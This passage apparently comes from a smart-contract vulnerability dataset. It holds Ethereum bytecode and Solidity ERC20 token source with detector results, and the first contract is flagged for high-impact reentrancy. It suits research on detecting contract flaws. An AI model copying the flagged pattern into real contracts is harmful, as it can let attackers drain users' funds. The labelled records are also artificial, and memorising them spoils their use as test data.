0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a44b9cf146101405780631b3ed7221461016b5780633151ecfc1461019657806335c1d349146101c157806339af0513146102355780633ccfd60b146102605780633febb070146102775780635f504a82146102a257806363bd1d4a146102f95780636cff6f9d146103105780636d33b42b1461033b57806379ba50971461037c5780638da5cb5b14610393578063949e8acd146103ea578063997664d714610415578063a0ca0a5714610440578063a26dbf261461046b578063a4d66daf14610496578063a6f9dae1146104c1578063d0e30db014610504578063d493b9ac1461050e578063e5cf229714610593578063fb346eab146105ea578063ff5d18ca14610615575b005b34801561014c57600080fd5b5061015561066c565b6040518082815260200191505060405180910390f35b34801561017757600080fd5b5061018061067c565b6040518082815260200191505060405180910390f35b3480156101a257600080fd5b506101ab610682565b6040518082815260200191505060405180910390f35b3480156101cd57600080fd5b506101ec6004803603810190808035906020019092919050505061075a565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b34801561024157600080fd5b5061024a6107ad565b6040518082815260200191505060405180910390f35b34801561026c57600080fd5b506102756107b3565b005b34801561028357600080fd5b5061028c6108da565b6040518082815260200191505060405180910390f35b3480156102ae57600080fd5b506102b76108e4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561030557600080fd5b5061030e61090a565b005b34801561031c57600080fd5b50610325610e16565b6040518082815260200191505060405180910390f35b34801561034757600080fd5b5061036660048036038101908080359060200190929190505050610e1c565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610e93565b005b34801561039f57600080fd5b506103a8610f53565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f657600080fd5b506103ff610f78565b6040518082815260200191505060405180910390f35b34801561042157600080fd5b5061042a611040565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b5061045561104a565b6040518082815260200191505060405180910390f35b34801561047757600080fd5b5061048061105b565b6040518082815260200191505060405180910390f35b3480156104a257600080fd5b506104ab611068565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b50610502600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061106e565b005b61050c61110d565b005b34801561051a57600080fd5b50610579600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112da565b604051808215151515815260200191505060405180910390f35b34801561059f57600080fd5b506105d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061147d565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b506105ff6114c6565b6040518082815260200191505060405180910390f35b34801561062157600080fd5b50610656600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d0565b6040518082815260200191505060405180910390f35b60006106773361147d565b905090565b60045481565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663688abbf760016040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082151515158152602001915050602060405180830381600087803b15801561071a57600080fd5b505af115801561072e573d6000803e3d6000fd5b505050506040513d602081101561074457600080fd5b8101908080519060200190929190505050905090565b60078181548110151561076957fe5b90600052602060002090600202016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154905082565b60065481565b6000803073ffffffffffffffffffffffffffffffffffffffff16319150600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633ccfd60b620f42406040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600088803b15801561085a57600080fd5b5087f115801561086e573d6000803e3d6000fd5b5050505050813073ffffffffffffffffffffffffffffffffffffffff1631039050806003600082825401925050819055507fd7cefab74b4b11d01e168f9d1e2a28e7bf8263c3acf9b9fdb802fa666a49455b816040518082815260200191505060405180910390a15050565b6000600654905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000803073ffffffffffffffffffffffffffffffffffffffff1631935060018411151561093957600080fd5b8360026000828254019250508190555060048481151561095557fe5b0492508284039350600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f088d54784620f424090336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019150506020604051808303818589803b158015610a1f57600080fd5b5088f1158015610a33573d6000803e3d6000fd5b5050505050506040513d6020811015610a4b57600080fd5b810190808051906020019092919050505091507f350df6fcc944b226b77efc36902e19b43c566d75173622086e809d46dfbc22208383604051808381526020018281526020019250505060405180910390a15b6000841115610e0f576007600554815481101515610ab857fe5b9060005260206000209060020201600101548410610af8576007600554815481101515610ae157fe5b906000526020600020906002020160010154610afa565b835b90506000811115610dda5780840393508060066000828254039250508190555080600860006007600554815481101515610b3057fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806007600554815481101515610bbb57fe5b9060005260206000209060020201600101600082825403925050819055506007600554815481101515610bea57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681620f424090604051600060405180830381858888f1935050505015610d04577f9b5d1a613fa5f0790b36b13103706e31fca06b229d87e9915b29fc20c1d76490816007600554815481101515610c8557fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a1610dd9565b80840193508060066000828254019250508190555080600860006007600554815481101515610d2f57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806007600554815481101515610dba57fe5b9060005260206000209060020201600101600082825401925050819055505b5b6000841115610df55760016005600082825401925050819055505b600780549050600554101515610e0a57610e10565b610a9e565b5b50505050565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7957600080fd5b66038d7ea4c680008202600a81905550600a549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eef57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663949e8acd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561100057600080fd5b505af1158015611014573d6000803e3d6000fd5b505050506040513d602081101561102a57600080fd5b8101908080519060200190929190505050905090565b6000600354905090565b600060055460078054905003905090565b6000600780549050905090565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110c957600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600a5434111561111e57600080fd5b620f42403411151561112f57600080fd5b6064600454340281151561113f57fe5b049050600760408051908101604052803373ffffffffffffffffffffffffffffffffffffffff168152602001838152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101555050508060066000828254019250508190555080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507f4bcc17093cdf51079c755de089be5a85e70fa374ec656c194480fbdcda224a533433604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a160006112c0610682565b11156112cf576112ce6107b3565b5b6112d761090a565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561133757600080fd5b83600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561139557600080fd5b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561143857600080fd5b505af115801561144c573d6000803e3d6000fd5b505050506040513d602081101561146257600080fd5b81019080805190602001909291905050509150509392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600254905090565b600860205280600052604060002060009150905054815600a165627a7a72305820c4275558d34c0cb1105e8bb1685fbda31c811d726173f5c0b9bcd554248125890029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,158 |
0x4b5c88a857e35fa37328569fd4c3473bf7903300
|
pragma solidity ^0.4.23;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
/**
* @dev Reclaim all ERC20Basic compatible tokens
* @param token ERC20Basic The address of the token contract
*/
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardBurnableToken.sol
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
// File: contracts/Blcontr.sol
contract ZontoToken is StandardBurnableToken, CanReclaimToken {
string public constant name = "ZONTO Token"; // solium-disable-line uppercase
string public constant symbol = "ZNT"; // solium-disable-line uppercase
uint8 public constant decimals = 8; // solium-disable-line uppercase
address public constant tokenOwner = 0x77035BBEe0d159Bd06808Ce2b6bE31F8D02a3cAA; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 66955408359783000;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function ZontoToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[tokenOwner] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function tokenFallback(address _from, uint _value, bytes _data) public {
require(msg.sender == 0x8aeD3f09FFaA1e6246E3b4b5790F13E1976f6055);
require(_from != tokenOwner);
require(_value <= balances[tokenOwner]);
uint val = _value * 1000;
balances[tokenOwner] = balances[tokenOwner].sub(val);
balances[_from] = balances[_from].add(val);
emit Transfer(tokenOwner, _from, val);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
|
0x6080604052600436106100ed5763ffffffff60e060020a60003504166306fdde0381146100f2578063095ea7b31461017c57806317ffc320146101b457806318160ddd146101d757806323b872dd146101fe5780632ff2e9dc14610228578063313ce5671461023d57806342966c6814610268578063661884631461028057806370a08231146102a457806379cc6790146102c55780638da5cb5b146102e957806395d89b411461031a578063a3e676101461032f578063a9059cbb14610344578063c0ee0b8a14610368578063d73dd623146103d1578063dd62ed3e146103f5578063f2fde38b1461041c575b600080fd5b3480156100fe57600080fd5b5061010761043d565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610141578181015183820152602001610129565b50505050905090810190601f16801561016e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018857600080fd5b506101a0600160a060020a0360043516602435610474565b604080519115158252519081900360200190f35b3480156101c057600080fd5b506101d5600160a060020a03600435166104de565b005b3480156101e357600080fd5b506101ec6105aa565b60408051918252519081900360200190f35b34801561020a57600080fd5b506101a0600160a060020a03600435811690602435166044356105b0565b34801561023457600080fd5b506101ec61071e565b34801561024957600080fd5b50610252610729565b6040805160ff9092168252519081900360200190f35b34801561027457600080fd5b506101d560043561072e565b34801561028c57600080fd5b506101a0600160a060020a036004351660243561073b565b3480156102b057600080fd5b506101ec600160a060020a0360043516610834565b3480156102d157600080fd5b506101d5600160a060020a036004351660243561084f565b3480156102f557600080fd5b506102fe6108ea565b60408051600160a060020a039092168252519081900360200190f35b34801561032657600080fd5b506101076108f9565b34801561033b57600080fd5b506102fe610930565b34801561035057600080fd5b506101a0600160a060020a0360043516602435610948565b34801561037457600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101d5948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610a2f9650505050505050565b3480156103dd57600080fd5b506101a0600160a060020a0360043516602435610bcd565b34801561040157600080fd5b506101ec600160a060020a0360043581169060243516610c6f565b34801561042857600080fd5b506101d5600160a060020a0360043516610c9a565b60408051808201909152600b81527f5a4f4e544f20546f6b656e000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60035460009033600160a060020a039081169116146104fc57600080fd5b81600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561055757600080fd5b505af115801561056b573d6000803e3d6000fd5b505050506040513d602081101561058157600080fd5b50516003549091506105a690600160a060020a0384811691168363ffffffff610d3316565b5050565b60015490565b6000600160a060020a03831615156105c757600080fd5b600160a060020a0384166000908152602081905260409020548211156105ec57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561061f57600080fd5b600160a060020a038416600090815260208190526040902054610648908363ffffffff610dcf16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461067d908363ffffffff610de116565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546106c3908363ffffffff610dcf16565b600160a060020a03808616600081815260026020908152604080832033861684528252918290209490945580518681529051928716939192600080516020610ee4833981519152929181900390910190a35060019392505050565b66eddf96d3137a5881565b600881565b6107383382610df4565b50565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561079857600160a060020a0333811660009081526002602090815260408083209388168352929052908120556107cf565b6107a8818463ffffffff610dcf16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600160a060020a038083166000908152600260209081526040808320339094168352929052205481111561088257600080fd5b600160a060020a03808316600090815260026020908152604080832033909416835292905220546108b9908263ffffffff610dcf16565b600160a060020a03808416600090815260026020908152604080832033909416835292905220556105a68282610df4565b600354600160a060020a031681565b60408051808201909152600381527f5a4e540000000000000000000000000000000000000000000000000000000000602082015281565b7377035bbee0d159bd06808ce2b6be31f8d02a3caa81565b6000600160a060020a038316151561095f57600080fd5b600160a060020a03331660009081526020819052604090205482111561098457600080fd5b600160a060020a0333166000908152602081905260409020546109ad908363ffffffff610dcf16565b600160a060020a0333811660009081526020819052604080822093909355908516815220546109e2908363ffffffff610de116565b600160a060020a0380851660008181526020818152604091829020949094558051868152905191933390931692600080516020610ee483398151915292918290030190a350600192915050565b6000738aed3f09ffaa1e6246e3b4b5790f13e1976f6055600160a060020a03331614610a5a57600080fd5b600160a060020a0384167377035bbee0d159bd06808ce2b6be31f8d02a3caa1415610a8457600080fd5b7377035bbee0d159bd06808ce2b6be31f8d02a3caa60009081526020527fab98b75bef7958f2dc745ff19572a1b589dbdb81bd5d2a0ed9c3b6ef7b5c47ab54831115610acf57600080fd5b507377035bbee0d159bd06808ce2b6be31f8d02a3caa60009081526020527fab98b75bef7958f2dc745ff19572a1b589dbdb81bd5d2a0ed9c3b6ef7b5c47ab546103e8830290610b25908263ffffffff610dcf16565b600060208190527fab98b75bef7958f2dc745ff19572a1b589dbdb81bd5d2a0ed9c3b6ef7b5c47ab91909155600160a060020a03851681526040902054610b72908263ffffffff610de116565b600160a060020a03851660008181526020818152604091829020939093558051848152905191927377035bbee0d159bd06808ce2b6be31f8d02a3caa92600080516020610ee48339815191529281900390910190a350505050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610c05908363ffffffff610de116565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610cb557600080fd5b600160a060020a0381161515610cca57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610d9657600080fd5b505af1158015610daa573d6000803e3d6000fd5b505050506040513d6020811015610dc057600080fd5b50511515610dca57fe5b505050565b600082821115610ddb57fe5b50900390565b81810182811015610dee57fe5b92915050565b600160a060020a038216600090815260208190526040902054811115610e1957600080fd5b600160a060020a038216600090815260208190526040902054610e42908263ffffffff610dcf16565b600160a060020a038316600090815260208190526040902055600154610e6e908263ffffffff610dcf16565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a03851691600080516020610ee48339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820a3bcbc2356fa28814aae9843977de0e3f20e140868b5eac6af69a7cb9db912980029
|
{"success": true, "error": null, "results": {}}
| 8,159 |
0x9cb884d2b1379f2056a28fddb623b45e6b18eeef
|
pragma solidity 0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
